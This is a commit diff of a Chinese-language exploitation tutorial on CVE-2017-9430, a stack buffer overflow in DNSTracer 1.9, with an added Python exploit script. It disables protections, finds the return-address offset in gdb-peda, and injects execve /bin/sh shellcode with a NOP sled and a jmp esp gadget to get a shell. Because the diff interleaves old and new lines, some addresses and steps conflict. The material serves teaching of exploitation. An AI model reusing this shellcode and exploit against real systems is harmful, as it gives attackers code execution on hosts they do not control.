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finish 7.1.6
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firmianay
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@ -16,8 +16,8 @@ DNSTracer 是一个用来跟踪 DNS 解析过程的应用程序。DNSTracer 1.9
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## 漏洞复现
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| |推荐使用的环境 | 备注 |
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| --- | --- | --- |
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| 操作系统 | Ubuntu 16.04 | 体系结构：32 位 |
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| 调试器 | gdb-peda| 版本号：7.11.1 |
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| 操作系统 | Ubuntu 12.04 | 体系结构：32 位 |
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| 调试器 | gdb-peda| 版本号：7.4 |
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| 漏洞软件 | DNSTracer | 版本号：1.9 |
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首先编译安装 DNSTracer：
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@ -101,7 +101,7 @@ main(int argc, char **argv)
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## Exploit
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接下来可以破解它，首先修改 Makefile，关掉栈保护，同时避免 gcc 使用安全函数 `__strcpy_chk()` 替换 `strcpy()`，修改编译选项如下，然后编译安装：
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首先修改 Makefile，关掉栈保护，同时避免 gcc 使用安全函数 `__strcpy_chk()` 替换 `strcpy()`，修改编译选项如下：
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```
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$ cat Makefile | grep -w CC
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CC = gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0
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@ -115,6 +115,10 @@ NX : disabled
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PIE : disabled
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RELRO : Partial
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```
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最后关掉 ASLR：
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```
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# echo 0 > /proc/sys/kernel/randomize_va_space
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```
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因为漏洞发生在 main 函数中，堆栈的布置比起在子函数里也要复杂一些。大体过程和前面写过的一篇 wget 溢出漏洞差不多，但那一篇是 64 位程序，所以这里选择展示一下 32 位程序。
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@ -126,58 +130,67 @@ gdb-peda$ pattern_offset $ebp
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```
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所以返回地址位于栈偏移 `1049+4=1053` 的地方。
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在 `strcpy(argv0, argv[0]);` 处下断点，并根据偏移调整输入：
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```
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gdb-peda$ b *main+789
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gdb-peda$ b *main+794
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gdb-peda$ disassemble main
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0x08048df8 <+808>: mov DWORD PTR [esp+0x4],edi
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0x08048dfc <+812>: mov DWORD PTR [esp],ebx
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0x08048dff <+815>: call 0x8048950 <strcpy@plt>
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0x08048e04 <+820>: xor eax,eax
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0x08048e06 <+822>: mov ecx,esi
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...
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0x08048f6e <+1182>: mov DWORD PTR [esp+0x4],esi
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0x08048f72 <+1186>: call 0x804adb0 <create_session>
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0x08048f77 <+1191>: mov DWORD PTR [esp],0xa
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```
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在下面几个地方下断点，并根据偏移调整我们的输入：
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```
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gdb-peda$ b *main+815
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gdb-peda$ b *main+820
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gdb-peda$ b *main+1186
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gdb-peda$ r `perl -e 'print "A"x1053 . "BBBB"'`
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Starting program: /home/firmy/dnstracer-1.9/dnstracer `perl -e 'print "A"x1053 . "BBBB"'`
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[----------------------------------registers-----------------------------------]
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EAX: 0x1
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EBX: 0xbfffe6bf --> 0x400
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ECX: 0xffffffff
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EDX: 0xb7fba17c --> 0x0
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ESI: 0x0
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EDI: 0xbfffedb3 ('A' <repeats 200 times>...)
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EBP: 0xbfffead8 --> 0x0
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ESP: 0xbfffe290 --> 0xbfffe6bf --> 0x400
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EIP: 0x8048db5 (<main+789>: call 0x8048920 <strcpy@plt>)
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EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
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EBX: 0xbfffeb3f --> 0xffed9cb7
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ECX: 0x0
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EDX: 0xb7fc7180 --> 0x0
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ESI: 0xffffffff
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EDI: 0xbffff174 ('A' <repeats 200 times>...)
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EBP: 0xbfffef58 --> 0x0
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ESP: 0xbfffe6d0 --> 0xbfffeb3f --> 0xffed9cb7
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EIP: 0x8048dff (<main+815>: call 0x8048950 <strcpy@plt>)
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EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
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[-------------------------------------code-------------------------------------]
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0x8048db2 <main+786>: push ecx
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0x8048db3 <main+787>: push edi
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0x8048db4 <main+788>: push ebx
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=> 0x8048db5 <main+789>: call 0x8048920 <strcpy@plt>
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0x8048dba <main+794>: mov ecx,DWORD PTR [ebp-0x82c]
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0x8048dc0 <main+800>: xor eax,eax
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0x8048dc2 <main+802>: add esp,0x10
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0x8048dc5 <main+805>: repnz scas al,BYTE PTR es:[edi]
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0x8048df1 <main+801>: lea ebx,[esp+0x46f]
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0x8048df8 <main+808>: mov DWORD PTR [esp+0x4],edi
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0x8048dfc <main+812>: mov DWORD PTR [esp],ebx
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=> 0x8048dff <main+815>: call 0x8048950 <strcpy@plt>
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0x8048e04 <main+820>: xor eax,eax
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0x8048e06 <main+822>: mov ecx,esi
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0x8048e08 <main+824>: repnz scas al,BYTE PTR es:[edi]
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0x8048e0a <main+826>: not ecx
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Guessed arguments:
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arg[0]: 0xbfffe6bf --> 0x400
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arg[1]: 0xbfffedb3 ('A' <repeats 200 times>...)
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arg[2]: 0xffffffff
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arg[3]: 0xffffffff
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arg[0]: 0xbfffeb3f --> 0xffed9cb7
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arg[1]: 0xbffff174 ('A' <repeats 200 times>...)
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[------------------------------------stack-------------------------------------]
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0000| 0xbfffe290 --> 0xbfffe6bf --> 0x400
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0004| 0xbfffe294 --> 0xbfffedb3 ('A' <repeats 200 times>...)
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0008| 0xbfffe298 --> 0xffffffff
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0012| 0xbfffe29c --> 0xffffffff
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0016| 0xbfffe2a0 --> 0x0
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0020| 0xbfffe2a4 --> 0x0
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0024| 0xbfffe2a8 --> 0x8051018 ("127.0.1.1")
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0028| 0xbfffe2ac --> 0xffffffff
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0000| 0xbfffe6d0 --> 0xbfffeb3f --> 0xffed9cb7
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0004| 0xbfffe6d4 --> 0xbffff174 ('A' <repeats 200 times>...)
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0008| 0xbfffe6d8 --> 0x804be37 ("4cCoq:r:S:s:t:v")
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0012| 0xbfffe6dc --> 0x0
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0016| 0xbfffe6e0 --> 0x0
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0020| 0xbfffe6e4 --> 0x0
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0024| 0xbfffe6e8 --> 0x0
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0028| 0xbfffe6ec --> 0x0
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[------------------------------------------------------------------------------]
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Legend: code, data, rodata, value
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Breakpoint 1, 0x08048db5 in main (argc=<optimized out>, argv=<optimized out>)
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at dnstracer.c:1622
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Breakpoint 1, 0x08048dff in main (argc=<optimized out>, argv=<optimized out>) at dnstracer.c:1622
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1622 strcpy(argv0, argv[0]);
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gdb-peda$ x/10wx argv0
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0xbfffe6bf: 0x00000400 0x00000700 0x1af23c00 0x1b023c00
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0xbfffe6cf: 0x1b023c00 0x00000800 0x00004800 0x00000400
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0xbfffe6df: 0x00000400 0x74e55000
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0xbfffeb3f: 0xffed9cb7 0x000000bf 0x00000100 0x00000200
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0xbfffeb4f: 0xe33b9700 0xfdcac0b7 0x000000b7 0xffeff400
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0xbfffeb5f: 0xe24e08b7 0x000001b7
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```
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所以栈位于 `0xbfffe6bf`，执行这一行语句即可将 `0xbfffedb3` 处的 "A" 字符串复制到 `argv0` 数组中：
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所以栈位于 `0xbfffeb3f`，执行这一行代码即可将 `0xbffff174` 处的 "A" 字符串复制到 `argv0` 数组中：
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```
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gdb-peda$ c
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Continuing.
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@ -216,24 +229,129 @@ Legend: code, data, rodata, value
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Breakpoint 2, main (argc=<optimized out>, argv=<optimized out>) at dnstracer.c:1623
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1623 if (argv0[strlen(argv[0]) - 1] == '.') argv0[strlen(argv[0]) - 1] = 0;
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gdb-peda$ x/10wx argv0
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0xbfffe6bf: 0x41414141 0x41414141 0x41414141 0x41414141
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0xbfffe6cf: 0x41414141 0x41414141 0x41414141 0x41414141
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0xbfffe6df: 0x41414141 0x41414141
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gdb-peda$ x/5wx 0xbfffeadc-0x10
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0xbfffeacc: 0x41414141 0x41414141 0x41414141 0x41414141 <-- ebp
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0xbfffeadc: 0x42424242 <-- return addr
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0xbfffeb3f: 0x41414141 0x41414141 0x41414141 0x41414141
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0xbfffeb4f: 0x41414141 0x41414141 0x41414141 0x41414141
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0xbfffeb5f: 0x41414141 0x41414141
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gdb-peda$ x/5wx argv0+1053-0x10
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0xbfffef4c: 0x41414141 0x41414141 0x41414141 0x41414141
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0xbfffef5c: 0x42424242
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```
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同时字符串 "BBBB" 覆盖了返回地址。继续修改 "BBBB" 为栈地址：
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同时字符串 "BBBB" 覆盖了返回地址。所以我们用栈地址 `0xbfffeb3f` 替换掉 "BBBB"：
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```
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gdb-peda$ r `perl -e 'print "A"x1053 . "\xbf\xe6\xff\xbf"'`
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gdb-peda$ r `perl -e 'print "A"x1053 . "\x3f\xeb\xff\xbf"'`
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```
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即可跳转到栈开头的位置：
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```
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gdb-peda$ x/5wx 0xbfffeadc-0x10
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0xbfffeacc: 0x41414141 0x41414141 0x41414141 0x41414141 <-- ebp
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0xbfffeadc: 0xbfffe6bf <-- stack
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gdb-peda$ x/5wx argv0+1053-0x10
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0xbfffef4c: 0x41414141 0x41414141 0x41414141 0x41414141 <-- ebp
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0xbfffef5c: 0xbfffeb3f <-- return address
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```
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0xbfffeacc
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然后就可以在栈上布置 shellcode 了，这一段 shellcode 长度为 23 字节，前面使用 nop 指令填充：
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```
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gdb-peda$ r `perl -e 'print "\x90"x1030 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x3f\xeb\xff\xbf"'`
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gdb-peda$ x/7wx argv0+1053-23
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0xbfffef45: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e <-- shellcode
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0xbfffef55: 0xb0e18953 0x3f80cd0b 0x00bfffeb
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```
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根据计算，shellcode 位于 `0xbfffef45`。
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然而当我们执行这个程序的时候，发生了错误：
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```
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gdb-peda$ c
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127.0.0.1 (127.0.0.1) * * *
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Program received signal SIGSEGV, Segmentation fault.
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[----------------------------------registers-----------------------------------]
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EAX: 0x0
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EBX: 0xbfffef54 ("/bin//sh")
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ECX: 0xffffffff
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EDX: 0xb7fc88b8 --> 0x0
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ESI: 0xe3896e69
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EDI: 0xe1895350
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EBP: 0x80cd0bb0
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ESP: 0xbfffef54 ("/bin//sh")
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EIP: 0xbfffef55 ("bin//sh")
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EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
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[-------------------------------------code-------------------------------------]
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0xbfffef4d: push 0x6e69622f
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0xbfffef52: mov ebx,esp
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0xbfffef54: das
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=> 0xbfffef55: bound ebp,QWORD PTR [ecx+0x6e]
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0xbfffef58: das
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0xbfffef59: das
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0xbfffef5a: jae 0xbfffefc4
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0xbfffef5c: add BYTE PTR [eax],al
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[------------------------------------stack-------------------------------------]
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0000| 0xbfffef54 ("/bin//sh")
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0004| 0xbfffef58 ("//sh")
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0008| 0xbfffef5c --> 0x0
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0012| 0xbfffef60 --> 0x0
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0016| 0xbfffef64 --> 0xbfffeff4 --> 0xbffff15b ("/usr/local/bin/dnstracer")
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0020| 0xbfffef68 --> 0xbffff000 --> 0xbffff596 ("SSH_AGENT_PID=1407")
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0024| 0xbfffef6c --> 0xb7fdc858 --> 0xb7e21000 --> 0x464c457f
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0028| 0xbfffef70 --> 0x0
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[------------------------------------------------------------------------------]
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Legend: code, data, rodata, value
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Stopped reason: SIGSEGV
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0xbfffef55 in ?? ()
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```
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错误发生在 `0xbfffef55`，而 shellcode 位于 `0xbfffef45`，两者相差 16 字节：
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```
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gdb-peda$ x/8wx 0xbfffef45
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0xbfffef45: 0x6850c031 0x68732f2f 0x69622f68 0x2fe3896e
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0xbfffef55: 0x2f6e6962 0x0068732f 0x00000000 0xf4000000
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```
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所以这里采用的解决办法是去掉前面的 16 个 nop，将其加到 shellcode 后面。
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```
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gdb-peda$ r `perl -e 'print "\x90"x1014 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x16 . "\x3f\xeb\xff\xbf"'`
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```
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成功获得 shell。
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```
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gdb-peda$ c
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127.0.0.1 (127.0.0.1) * * *
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process 7161 is executing new program: /bin/dash
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$ id
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[New process 7165]
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process 7165 is executing new program: /usr/bin/id
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uid=1000(firmy) gid=1000(firmy) groups=1000(firmy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
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$ [Inferior 2 (process 7165) exited normally]
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Warning: not running or target is remote
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```
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那如果我们开启了 ASLR 怎么办呢，一种常用的方法是利用指令 `jmp esp` 覆盖返回地址，这将使程序在返回地址的地方继续执行，从而执行跟在后面的 shellcode。利用 objdump 就可以找到这样的指令：
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```
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$ objdump -M intel -D /usr/local/bin/dnstracer | grep jmp | grep esp
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804cc5f: ff e4 jmp esp
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```
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exp 如下：
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```python
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import os
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from subprocess import call
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def exp():
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filling = "A"*1053
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jmp_esp = "\x5f\xcc\x04\x08"
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shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
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payload = filling + jmp_esp + shellcode
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call(["dnstracer", payload])
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if __name__ == '__main__':
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try:
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exp()
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except Exception as e:
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print "Something went wrong"
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```
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Bingo!!!
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```
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$ python exp.py
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Tracing to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_<41>1<EFBFBD>Ph//shh/bin<69><6E>PS<50><53><EFBFBD>
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[a] via 127.0.0.1, maximum of 3 retries
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127.0.0.1 (127.0.0.1) * * *
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$ id
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uid=1000(firmy) gid=1000(firmy) groups=1000(firmy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
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```
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## 参考资料
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- http://www.mavetju.org/unix/dnstracer.php
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16
src/exploit/7.1.6_dnstracer_2017-9430/exp.py
Normal file
16
src/exploit/7.1.6_dnstracer_2017-9430/exp.py
Normal file
@ -0,0 +1,16 @@
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import os
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from subprocess import call
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def exp():
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filling = "A"*1053
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jmp_esp = "\x5f\xcc\x04\x08"
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shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
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payload = filling + jmp_esp + shellcode
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call(["dnstracer", payload])
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if __name__ == '__main__':
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try:
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exp()
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except Exception as e:
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print "Something went wrong"
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